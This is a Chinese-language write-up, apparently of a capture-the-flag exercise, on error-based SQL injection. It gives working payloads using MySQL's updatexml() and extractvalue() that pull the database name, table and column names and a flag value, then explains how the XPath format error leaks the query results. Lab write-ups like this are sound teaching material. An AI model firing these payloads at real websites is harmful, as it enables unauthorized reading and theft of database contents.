当and 1=1 无回显时,整数型和字符型注入就都无法使用了。若给出了详细的报错信息,可能就存在报错型注入
先做
updatexml报错
1 union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)
“0x7e”:ascii码的"~“,updatexml不能识别的字符 痛,太痛了
我们只要他回显出databases()就行。这里得到数据库名为"sqli”
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
照葫芦画瓢,继续利用联合查询爆table_name,得到表名为"flag"和"news"
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e),1)

爆列名,得到列名"flag"
1 union select 1,updatexml(1,concat(0x7e,(select flag from sqli.flag),0x7e),1)
发现个问题,flag太长了没有显示完全
1 union select 1,updatexml(1,concat(0x7e,right((select flag from sqli.flag),31),0x7e),1)

利用right()去显示右边的31位字符,拼接得到flag
extractvalue报错
1 union select extractvalue(1,concat(0x7e,(select database()),0x7e))

“0x7e”:ascii码的"~“,extractvalue不能识别的字符 还是痛
爆database(),得到数据库名"sqli”
1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))
爆表明,得到"flag"和"news"
1 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e))

爆列名,得到"flag"
获取flag
1 union select 1,extractvalue(1,concat(0x7e,left((select flag from sqli.flag),31),0x7e))

1 union select 1,extractvalue(1,concat(0x7e,right((select flag from sqli.flag),31),0x7e))

再想
报错型注入与前两种注入不同的是,整数型、字符型注入是查询成功后的联合注入;而报错型注入则是查询失败后利用详尽的报错信息对报错回显进行注入。
简而言之,前者注入查询回显,后者注入报错回显。
报错型注入的核心就是“利用报错”
首先,updatexml()和extractvalue()两种方法的原理都是一样的:
XPath_string的格式限制
上例中的"0x7e"(即"~")就是一个不符合XPath_string格式的字符
再来分别看updatexml()和extractvalue():
UPDATEXML (XML_document, XPath_string, new_value);
找到XML_document文档中的XPath_string字符串,并将其替换为new_value字符串
EXTRACTVALUE (XML_document, XPath_string);
在XML_document文档中查询XPath_string并返回
其中XPath_string格式要求为XPath格式的字符串,若不符合格式要求,则会报错并带出查询的结果。
针对于两个函数中的XPath_string构造,也就是报错型的利用点进行分析:
concat(0x7e,(select database()),0x7e)
concat()将内容整合成一个字符串“~ (select database()) ~”
遇到~非XPath_string格式,报错,而报错的回显会执行select database(),达到注入目的。
之后的注入方法与整数型、字符型注入一样。
本文介绍了一种特殊的SQL注入方式——报错型注入,并通过实例演示如何利用updatexml()和extractvalue()函数进行数据库信息的提取,包括数据库名称、表名及列名等。
501

被折叠的 条评论
为什么被折叠?



